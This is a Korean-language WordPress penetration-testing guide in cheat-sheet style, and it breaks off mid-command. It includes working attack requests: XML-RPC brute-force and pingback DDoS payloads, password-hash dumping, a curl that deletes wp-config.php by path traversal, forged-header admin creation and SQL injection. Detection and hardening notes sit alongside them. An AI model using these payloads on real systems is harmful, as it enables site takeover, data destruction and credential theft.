39 KiB
Raw Blame History

Wordpress

{{#include ../../banners/hacktricks-training.md}}

기본 정보

  • 업로드된 파일은: http://10.10.10.10/wp-content/uploads/2018/08/a.txt

  • 테마 파일은 /wp-content/themes/에서 찾을 수 있습니다, 따라서 테마의 일부 php를 수정하여 RCE를 얻으려면 아마 그 경로를 사용할 것입니다. 예를 들어: theme twentytwelve를 사용하면 다음에서 404.php 파일에 접근할 수 있습니다: /wp-content/themes/twentytwelve/404.php

  • 또 다른 유용한 URL 예시: /wp-content/themes/default/404.php

  • wp-config.php에서 데이터베이스의 루트 비밀번호를 찾을 수 있습니다.

  • 확인할 기본 로그인 경로: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Main WordPress Files

  • index.php
  • license.txt에는 설치된 WordPress 버전과 같은 유용한 정보가 포함되어 있습니다.
  • wp-activate.php는 새 WordPress 사이트를 설정할 때 이메일 활성화 과정에 사용됩니다.
  • 로그인 폴더(숨기기 위해 이름이 바뀌어 있을 수 있음):
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php는 HTTP를 전송 메커니즘으로, XML을 인코딩 메커니즘으로 사용하여 데이터를 전송할 수 있게 하는 WordPress의 기능을 나타내는 파일입니다. 이러한 유형의 통신은 WordPress의 REST API로 대체되었습니다.
  • wp-content 폴더는 플러그인과 테마가 저장되는 주요 디렉터리입니다.
  • wp-content/uploads/는 플랫폼에 업로드된 모든 파일이 저장되는 디렉터리입니다.
  • wp-includes/는 인증서, 폰트, JavaScript 파일 및 위젯과 같은 핵심 파일이 저장되는 디렉터리입니다.
  • wp-sitemap.xml WordPress 버전 5.5 이상에서는 공개 게시물과 공개적으로 쿼리 가능한 포스트 타입 및 분류를 포함한 sitemap XML 파일을 생성합니다.

Post exploitation

  • wp-config.php 파일에는 데이터베이스 이름, 데이터베이스 호스트, 사용자명과 비밀번호, 인증 키와 솔트, 데이터베이스 테이블 접두사 등 WordPress가 데이터베이스에 연결하는 데 필요한 정보가 포함되어 있습니다. 이 구성 파일은 DEBUG 모드를 활성화하는 데에도 사용될 수 있으며, 문제 해결에 유용합니다.

사용자 권한

  • Administrator
  • Editor: 자신의 게시물과 다른 사람의 게시물을 게시하고 관리합니다
  • Author: 자신의 게시물을 게시하고 관리합니다
  • Contributor: 자신의 게시물을 작성하고 관리하지만 게시할 수는 없습니다
  • Subscriber: 게시물을 열람하고 자신의 프로필을 편집합니다

Passive Enumeration

Get WordPress version

/license.txt 또는 /readme.html 파일을 찾을 수 있는지 확인하세요.

페이지의 소스 코드 내부에서 (예: https://wordpress.org/support/article/pages/):

  • grep
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • CSS 링크 파일

  • JavaScript 파일

플러그인 가져오기

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

테마 가져오기

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

일반적으로 버전 추출

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Active enumeration

Plugins and Themes

모든 Plugins and Themes를 찾지 못할 가능성이 높습니다. 모두 찾아내기 위해서는 actively Brute Force a list of Plugins and Themes 해야 합니다(운 좋게도 이러한 목록을 포함한 자동화 도구들이 있습니다).

Users

  • ID Brute: WordPress 사이트에서 사용자 ID를 Brute Forcing하여 유효한 사용자를 얻습니다:
curl -s -I -X GET http://blog.example.com/?author=1

응답이 200 또는 30X이면 해당 id는 유효입니다. 응답이 400이면 id는 무효입니다.

  • wp-json: 쿼리하여 사용자에 대한 정보를 얻어볼 수도 있습니다:
curl http://blog.example.com/wp-json/wp/v2/users

사용자에 대한 일부 정보를 노출할 수 있는 또 다른 /wp-json/ endpoint는:

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Note that this endpoint only exposes users that have made a post. 이 기능이 활성화된 사용자에 대한 정보만 제공됩니다

Also note that /wp-json/wp/v2/pages could leak IP addresses.

  • Login username enumeration: **/wp-login.php**에 로그인할 때 메시지가 해당 사용자 이름의 존재 여부에 따라 다릅니다.

XML-RPC

xml-rpc.php가 활성화되어 있으면 credentials brute-force를 수행하거나 다른 리소스에 DoS 공격을 실행하는 데 사용할 수 있습니다. (You can automate this process using this for example).

활성화 여부를 확인하려면 _/xmlrpc.php_에 접근하여 다음 요청을 전송해보세요:

확인

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce

wp.getUserBlogs, wp.getCategories or **metaWeblog.getUsersBlogs**는 credentials를 brute-force하는 데 사용할 수 있는 몇 가지 메서드입니다. 이들 중 어느 하나를 찾을 수 있다면 다음과 같은 요청을 보낼 수 있습니다:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

자격 증명이 올바르지 않으면 200 응답 코드 내에 있는 "Incorrect username or password" 메시지가 표시되어야 합니다.

올바른 자격 증명을 사용하면 파일을 업로드할 수 있습니다. 응답에서 경로가 표시됩니다 (https://gist.github.com/georgestephanis/5681982)

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

또한 같은 요청에서 여러 credentials를 시도할 수 있으므로 **system.multicall**을 사용해 credentials를 brute-force하는 더 빠른 방법이 있습니다:

Bypass 2FA

이 방법은 프로그램용(사람용이 아니며)으로 만들어졌고 오래되어 2FA를 지원하지 않습니다. 따라서 유효한 creds를 가지고 있지만 메인 진입이 2FA로 보호되어 있다면, xmlrpc.php를 악용해 해당 creds로 2FA를 우회하여 로그인할 수 있습니다. 콘솔에서 할 수 있는 모든 작업을 수행할 수는 없지만, Ippsec가 https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s에서 설명하는 것처럼 여전히 RCE에 도달할 수 있을지도 모릅니다.

DDoS or port scanning

목록에서 pingback.ping 메서드를 찾을 수 있다면 Wordpress가 임의의 호스트/포트로 요청을 보내게 만들 수 있습니다.\ 이 기능을 이용하면 수천 개Wordpress 사이트가 하나의 위치접근하도록 요청할 수 있습니다(따라서 해당 location에서 DDoS가 발생합니다) 또는 Wordpress를 이용해 내부 네트워크의 일부를 스캔하게 만들 수도 있습니다(임의의 포트를 지정할 수 있습니다).

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

faultCode의 값이 0 (17)보다 경우 포트가 열려 있다는 의미입니다.

이전 섹션에서 **system.multicall**의 사용을 확인하여 이 메서드를 악용해 DDoS를 유발하는 방법을 알아보세요.

DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

이 파일은 일반적으로 Wordpress 사이트의 루트에 존재합니다: /wp-cron.php
이 파일에 접근하면 "heavy" MySQL query가 수행되어 attackersDoS유발할 수 있습니다.
또한 기본적으로 wp-cron.php는 모든 페이지 로드(클라이언트가 Wordpress 페이지를 요청할 때마다)마다 호출되며, 트래픽이 많은 사이트에서는 문제가 생길 수 있습니다 (DoS).

Wp-Cron을 비활성화하고 호스트 내에서 실제 cronjob을 생성하여 필요한 작업을 정기적으로 수행하도록 설정하는 것이 권장됩니다 (문제 없이).

/wp-json/oembed/1.0/proxy - SSRF

다음 URL에 접근해보세요: https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net 그리고 Worpress 사이트가 귀하에게 요청을 보낼 수 있습니다.

This is the response when it doesn't work:

SSRF

{{#ref}} https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}}

이 도구는 methodName: pingback.ping 및 경로 /wp-json/oembed/1.0/proxy의 존재를 확인하고, 존재하면 이를 exploit하려고 시도합니다.

자동화 도구

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

비트를 덮어써서 접근 얻기

실제 공격이라기보다 호기심에 가깝다. CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man에서 임의의 wordpress 파일의 1 bit를 뒤집을 수 있었다. 예를 들어 파일 /var/www/html/wp-includes/user.php의 위치 5389를 뒤집어 NOT (!) 연산을 NOP 처리할 수 있다.

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

패널 RCE

사용 중인 테마의 php 수정 (admin credentials needed)

Appearance → Theme Editor → 404 Template (오른쪽)

php shell로 내용을 변경:

업데이트된 페이지에 어떻게 접근하는지 인터넷에서 검색하세요. 이 경우 다음 URL에 접근해야 합니다: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

사용할 수 있습니다:

use exploit/unix/webapp/wp_admin_shell_upload

세션을 얻기 위해.

플러그인 RCE

PHP 플러그인

.php 파일을 플러그인으로 업로드할 수 있는 경우가 있습니다.
예를 들어 다음과 같이 php 백도어를 생성하세요:

그런 다음 새 플러그인을 추가하세요:

플러그인을 업로드한 후 Install Now를 누르세요:

Procced를 클릭하세요:

아마 아무런 변화가 없을 수 있지만, Media로 이동하면 업로드된 셸을 볼 수 있습니다:

접속하면 reverse shell을 실행할 URL을 볼 수 있습니다:

Uploading and activating malicious plugin

이 방법은 취약한 것으로 알려진 악성 플러그인을 설치하여 web shell을 얻을 수 있게 하는 방식입니다. 이 과정은 WordPress 대시보드를 통해 다음과 같이 수행됩니다:

  1. Plugin Acquisition: 플러그인은 Exploit DB와 같은 소스에서 획득합니다(예: here).
  2. Plugin Installation:
  • WordPress 대시보드로 이동한 다음 Dashboard > Plugins > Upload Plugin로 이동합니다.
  • 다운로드한 플러그인의 zip 파일을 업로드합니다.
  1. Plugin Activation: 플러그인이 성공적으로 설치되면 대시보드에서 활성화해야 합니다.
  2. Exploitation:
  • reflex-gallery 플러그인이 설치되고 활성화된 상태에서 취약점이 알려져 있어 악용할 수 있습니다.
  • Metasploit framework는 이 취약점에 대한 exploit를 제공합니다. 적절한 모듈을 로드하고 특정 명령을 실행하면 meterpreter 세션을 수립해 사이트에 무단 접근할 수 있습니다.
  • 이는 WordPress 사이트를 exploit하는 여러 방법 중 하나일 뿐입니다.

이 내용은 플러그인 설치 및 활성화 단계를 보여주는 시각적 자료를 포함합니다. 그러나 적절한 허가 없이 이러한 방식으로 취약점을 exploit하는 것은 불법이며 비윤리적임을 명심해야 합니다. 이 정보는 책임감 있게, 예컨대 명시적 허가를 받은 penetration testing 같은 합법적인 상황에서만 사용해야 합니다.

For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/

XSS에서 RCE로

  • WPXStrike: WPXStrike 는 WordPress에서 Cross-Site Scripting (XSS) 취약점을 Remote Code Execution (RCE) 또는 기타 심각한 취약점으로 상승시키도록 설계된 스크립트입니다. 자세한 내용은 this post를 확인하세요. 다음을 지원합니다:
  • Privilege Escalation: WordPress에 사용자를 생성합니다.
  • (RCE) Custom Plugin (backdoor) Upload: 사용자 지정 플러그인(backdoor)을 WordPress에 업로드합니다.
  • (RCE) Built-In Plugin Edit: WordPress의 내장 플러그인을 수정합니다.
  • (RCE) Built-In Theme Edit: WordPress의 내장 테마를 수정합니다.
  • (Custom) Custom Exploits: 타사 WordPress 플러그인/테마를 위한 Custom Exploits.

Post Exploitation

사용자 이름과 비밀번호 추출:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

관리자 비밀번호 변경:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Wordpress 플러그인 Pentest

Attack Surface

Wordpress 플러그인이 어떻게 기능을 노출하는지 아는 것은 해당 기능의 취약점을 찾는 데 중요합니다. 다음 항목들에서 플러그인이 기능을 어떻게 노출할 수 있는지와 취약한 플러그인 사례들을 this blog post에서 확인할 수 있습니다.

  • wp_ajax

플러그인이 기능을 노출하는 방법 중 하나는 AJAX 핸들러를 통해서입니다. 이러한 핸들러들은 로직, authorization, 또는 authentication 버그를 포함할 수 있습니다. 게다가 이러한 함수들은 인증과 권한 부여를 모두 Wordpress nonce의 존재에 기반하는 경우가 꽤 자주 있으며, 이 nonce는 Wordpress 인스턴스에 인증된 어떤 사용자라도 가질 수 있습니다(역할과 무관하게).

These are the functions that can be used to expose a function in a plugin:

add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

nopriv의 사용은 해당 엔드포인트를 모든 사용자(심지어 인증되지 않은 사용자)도 접근할 수 있게 만듭니다.

Caution

게다가, 만약 함수가 사용자 권한을 wp_verify_nonce 함수로만 확인한다면, 이 함수는 단지 사용자가 로그인했는지 여부만 확인할 뿐 보통 사용자의 역할(role)은 확인하지 않습니다. 따라서 권한이 낮은 사용자가 높은 권한이 필요한 동작에 접근할 수 있습니다.

  • REST API

또한 wordpress에서 register_rest_route 함수를 사용해 rest AP를 등록하여 함수를 노출시키는 것도 가능합니다:

register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

The permission_callback은 특정 사용자가 API 메서드를 호출할 권한이 있는지 확인하는 콜백 함수입니다.

내장 __return_true 함수가 사용되면 사용자 권한 검사를 단순히 건너뜁니다.

  • php 파일에 대한 직접 접근

물론, Wordpress는 PHP를 사용하며 플러그인 내부의 파일들은 웹에서 직접 접근할 수 있습니다. 따라서 플러그인이 파일에 접근하는 것만으로 실행되는 취약한 기능을 노출하고 있다면, 어떤 사용자라도 이를 악용할 수 있습니다.

Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)

일부 플러그인은 내부 통합이나 reverse proxies를 위해 “trusted header” 단축을 구현한 뒤, 해당 헤더로 REST 요청의 현재 사용자 컨텍스트를 설정합니다. 만약 그 헤더가 upstream component에 의해 요청에 대해 암호학적으로 바인딩되어 있지 않다면, 공격자는 이를 spoof하여 관리자 권한이 필요한 REST routes를 호출할 수 있습니다.

  • 영향: core users REST route를 통해 새로운 administrator를 생성하여 unauthenticated privilege escalation으로 admin 권한을 획득할 수 있습니다.
  • Example header: X-Wcpay-Platform-Checkout-User: 1 (user ID 1을 강제로 설정 — 일반적으로 첫 번째 administrator 계정).
  • Exploited route: POST /wp-json/wp/v2/users 에서 elevated role 배열을 사용.

PoC

POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114

{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}

Why it works

  • 이 플러그인은 클라이언트가 제어하는 헤더를 인증 상태에 매핑하고 capability checks를 생략한다.
  • WordPress core는 이 라우트에 create_users capability를 기대한다; 플러그인 해킹은 헤더에서 현재 사용자 컨텍스트를 직접 설정하여 이를 우회한다.

Expected success indicators

  • HTTP 201 with a JSON body describing the created user.
  • A new admin user visible in wp-admin/users.php.

Detection checklist

  • getallheaders(), $_SERVER['HTTP_...'] 또는 vendor SDK들이 사용자 컨텍스트를 설정하기 위해 커스텀 헤더를 읽는지 grep 하라(예: wp_set_current_user(), wp_set_auth_cookie()).
  • 요청 헤더에 의존하고 강력한 permission_callback 검사가 없는 권한 있는 콜백에 대한 REST 등록을 검토하라.
  • REST 핸들러 내에서 header 값만으로 게이트된 상태로 코어 사용자 관리 함수(wp_insert_user, wp_create_user)가 사용되는지 찾으라.

Hardening

  • 클라이언트가 제어하는 헤더에서 인증이나 권한을 유추하지 마라.
  • 리버스 프록시가 반드시 identity를 주입해야 한다면 프록시에서 신뢰를 종료하고 수신된 복사본을 제거하라(예: 에지에서 unset X-Wcpay-Platform-Checkout-User), 그 후 서명된 토큰을 전달하고 서버 측에서 검증하라.
  • 권한이 필요한 작업을 수행하는 REST 경로에는 current_user_can() 검사와 엄격한 permission_callback을 요구하라(절대 __return_true를 사용하지 마라).
  • 헤더 “impersonation”보다 퍼스트파티 인증(cookies, application passwords, OAuth)을 선호하라.

References: see the links at the end of this page for a public case and broader analysis.

wp_ajax_nopriv를 통한 인증되지 않은 임의 파일 삭제 (Litho Theme <= 3.0)

WordPress 테마와 플러그인은 종종 wp_ajax_wp_ajax_nopriv_ 훅을 통해 AJAX 핸들러를 노출한다. nopriv 변형이 사용될 경우 콜백이 인증되지 않은 방문자에게 접근 가능해지므로, 민감한 동작은 추가로 다음을 구현해야 한다:

  1. A capability check (e.g. current_user_can() or at least is_user_logged_in()), and
  2. A CSRF nonce validated with check_ajax_referer() / wp_verify_nonce(), and
  3. Strict input sanitisation / validation.

The Litho multipurpose theme (< 3.1) forgot those 3 controls in the Remove Font Family feature and ended up shipping the following code (simplified):

function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir  = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();

if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data',        'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );

이 스니펫으로 인해 발생한 문제:

  • Unauthenticated access the wp_ajax_nopriv_ 훅이 등록되어 있습니다.
  • No nonce / capability check 어떤 방문자든 엔드포인트를 호출할 수 있습니다.
  • No path sanitisation 사용자 제어 fontfamily 문자열이 필터링 없이 파일시스템 경로에 이어붙여져 고전적인 ../../ 경로 탈취가 가능합니다.

악용

공격자는 단일 HTTP POST 요청을 보내어 uploads 기본 디렉터리 아래 (일반적으로 <wp-root>/wp-content/uploads/)의 임의의 파일이나 디렉터리를 삭제할 수 있습니다:

curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'

wp-config.phpuploads 밖에 위치하기 때문에, 기본 설치에서는 ../ 네 번이면 충분합니다. wp-config.php를 삭제하면 다음 방문 시 WordPress가 installation wizard로 들어가며 전체 사이트 탈취가 가능해집니다(공격자는 새 DB 구성만 제공하고 관리자 사용자 계정을 생성하면 됩니다).

다른 영향력 있는 대상으로는 플러그인/테마의 .php 파일들(보안 플러그인을 무력화하기 위해)이나 .htaccess 규칙이 있습니다.

탐지 체크리스트

  • 파일시스템 헬퍼(copy(), unlink(), $wp_filesystem->delete() 등)를 호출하는 add_action( 'wp_ajax_nopriv_...') 콜백.
  • 경로로의 비검증 사용자 입력 결합( $_POST, $_GET, $_REQUEST 를 확인).
  • check_ajax_referer()current_user_can()/is_user_logged_in()의 부재.

보안 강화

function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
wp_send_json_error( 'forbidden', 403 );
}
check_ajax_referer( 'litho_fonts_nonce' );

$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;

if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
wp_send_json_error( 'invalid path', 400 );
}
// … proceed …
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
//  🔒  NO wp_ajax_nopriv_ registration

Tip

항상 디스크에 대한 모든 쓰기/삭제 작업을 권한이 필요한 것으로 처리하고 다음을 반드시 재확인하세요: • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via realpath() plus str_starts_with()).


오래된 역할 복원 및 권한 검증 누락을 통한 권한 상승 (ASE "View Admin as Role")

많은 플러그인은 원래 역할을 user meta에 저장해 나중에 복원할 수 있도록 "view as role" 또는 임시 역할 전환 기능을 구현합니다. 복원 경로가 요청 파라미터(예: $_REQUEST['reset-for'])와 플러그인이 관리하는 목록에만 의존하고 권한 확인이나 유효한 nonce 검증을 수행하지 않으면, 이는 수직적 권한 상승이 됩니다.

실제 사례는 Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1)에서 발견되었습니다. reset 분기는 내부 배열 $options['viewing_admin_as_role_are']에 사용자명이 존재하면 reset-for=<username>에 기반해 역할을 복원했지만, 현재 역할을 제거하고 user meta _asenha_view_admin_as_original_roles에 저장된 역할을 다시 추가하기 전에 current_user_can() 검사나 nonce 검증을 전혀 수행하지 않았습니다:

// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];

if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}

취약한 이유

  • 서버 측 권한 검증 없이 $_REQUEST['reset-for']와 플러그인 옵션을 신뢰함.
  • 사용자가 이전에 _asenha_view_admin_as_original_roles에 높은 권한을 저장해두었다가 권한이 낮아진 경우, 재설정 경로를 호출해 이를 복원할 수 있음.
  • 일부 배포 환경에서는, 어떤 인증된 사용자라도 여전히 viewing_admin_as_role_are에 남아 있는 다른 사용자 이름에 대해 재설정을 트리거할 수 있음(권한 검증 취약).

공격 전제 조건

  • 기능이 활성화된 취약한 플러그인 버전.
  • 대상 계정이 이전 사용으로 인해 user meta에 저장된 오래된 고권한 역할을 보유.
  • 인증된 세션만 있으면 됨; 재설정 흐름에서 nonce/capability가 없음.

악용 (예시)

# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'

취약한 빌드에서는 현재 역할을 제거하고 저장된 원래 역할(예: administrator)을 다시 추가하여 실질적으로 권한을 상승시킵니다.

Detection checklist

  • 사용자 메타에 "원래 역할"을 지속적으로 저장하는 역할 전환 기능을 찾아보세요 (예: _asenha_view_admin_as_original_roles).
  • Identify reset/restore paths that:
  • $_REQUEST / $_GET / $_POST에서 사용자 이름을 읽는지 확인하세요.
  • add_role() / remove_role()로 역할을 수정하면서 current_user_can()wp_verify_nonce() / check_admin_referer()를 사용하지 않는지 확인하세요.
  • 행위자의 권한 대신 플러그인 옵션 배열(예: viewing_admin_as_role_are)에 기반해 권한을 부여하는지 확인하세요.

Hardening

  • 상태를 변경하는 모든 분기에서 권한 검사를 적용하세요(예: current_user_can('manage_options') 또는 더 엄격한 검사를 사용).
  • 모든 역할/권한 변경 시 nonce를 요구하고 검증하세요: check_admin_referer() / wp_verify_nonce().
  • 요청으로 제공된 사용자 이름을 절대 신뢰하지 마세요; 인증된 행위자와 명시적 정책에 따라 서버 측에서 대상 사용자를 결정하세요.
  • 프로필/역할 업데이트 시 "원래 역할" 상태를 무효화하여 오래된 고권한 복원이 발생하지 않도록 하세요:
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
  • 최소한의 상태만 저장하고 임시 역할 전환을 위해 시간 제한이 있고 capability로 보호된 토큰을 사용하는 것을 고려하세요.

Unauthenticated privilege escalation via cookietrusted user switching on public init (Service Finder “sf-booking”)

일부 플러그인은 user-switching 헬퍼를 공개 init 훅에 연결하고 클라이언트가 제어하는 cookie에서 식별을 유도합니다. wp_set_auth_cookie()를 인증, capability 및 유효한 nonce를 확인하지 않고 호출하면, 인증되지 않은 방문자가 임의의 사용자 ID로 강제 로그인할 수 있습니다.

전형적인 취약 패턴(간소화, Service Finder Bookings ≤ 6.1에서 발췌):

function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');

function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid);  // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}

왜 취약한가

  • 공개된 init 후크는 핸들러가 인증되지 않은 사용자도 접근할 수 있게 만든다 (is_user_logged_in() 가드가 없음).
  • 식별 정보는 클라이언트에서 수정 가능한 쿠키(original_user_id)로부터 파생된다.
  • wp_set_auth_cookie($uid)를 직접 호출하면 capability/nonce 검사 없이 요청자를 해당 사용자로 로그인시킨다.

악용(인증되지 않음)

GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close

WordPress/plugin CVEs에 대한 WAF 고려사항

일반적인 edge/server WAF는 광범위한 패턴(SQLi, XSS, LFI)에 맞춰 튜닝되어 있습니다. 많은 고영향 WordPress/plugin 결함은 애플리케이션 특유의 로직/인증 버그로, 엔진이 WordPress 경로와 plugin semantics를 이해하지 못하면 정상 트래픽처럼 보입니다.

Offensive notes

  • 클린 페이로드로 plugin 전용 엔드포인트를 공략하세요: admin-ajax.php?action=..., wp-json/<namespace>/<route>, custom file handlers, shortcodes.
  • 먼저 인증 없는 경로를 시도하세요 (AJAX nopriv, REST with permissive permission_callback, public shortcodes). 기본 페이로드는 종종 난독화 없이도 성공합니다.
  • 전형적인 고영향 사례: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.

Defensive notes

  • 플러그인 CVEs를 보호하기 위해 일반적인 WAF 시그니처에만 의존하지 마세요. 애플리케이션 레이어 수준의 취약점별 가상 패치나 빠른 업데이트를 적용하세요.
  • negative regex 필터보다 코드 내에서 positive-security 검사(예: capabilities, nonces, 엄격한 입력 검증)를 우선 적용하세요.

WordPress Protection

Regular Updates

Make sure WordPress, plugins, and themes are up to date. Also confirm that automated updating is enabled in wp-config.php:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

또한, 신뢰할 수 있는 WordPress 플러그인과 테마만 설치하세요.

보안 플러그인

기타 권장사항

  • 기본 admin 계정 제거
  • 강력한 비밀번호2FA 사용
  • 주기적으로 사용자 권한검토
  • 로그인 시도 제한을 설정해 Brute Force attacks 방지
  • wp-admin.php 파일 이름을 변경하고 내부 또는 특정 IP에서만 접근 허용하세요.

인증되지 않은 SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)

WP Job Portal 채용 플러그인은 savecategory 작업을 노출했으며, 이는 결국 modules/category/model.php::validateFormData() 내부에서 다음의 취약한 코드를 실행합니다:

$category  = WPJOBPORTALrequest::getVar('parentid');
$inquery   = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category ";   // <-- direct concat ✗
}
$query  = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later

이 스니펫으로 인해 발생한 문제:

  1. 검증되지 않은 사용자 입력 parentid가 HTTP 요청에서 바로 전달됩니다.
  2. WHERE 절 내 문자열 연결 is_numeric() / esc_sql() / prepared statement 없음.
  3. 인증 없이 접근 가능 action이 admin-post.php를 통해 실행되긴 하지만, 존재하는 유일한 체크는 모든 방문자가 공개 페이지에서 숏코드 [wpjobportal_my_resumes]를 통해 가져올 수 있는 CSRF nonce(wp_verify_nonce())뿐입니다.

악용

  1. 새로운 nonce를 가져옵니다:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
  1. parentid를 악용해 임의의 SQL을 주입합니다:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
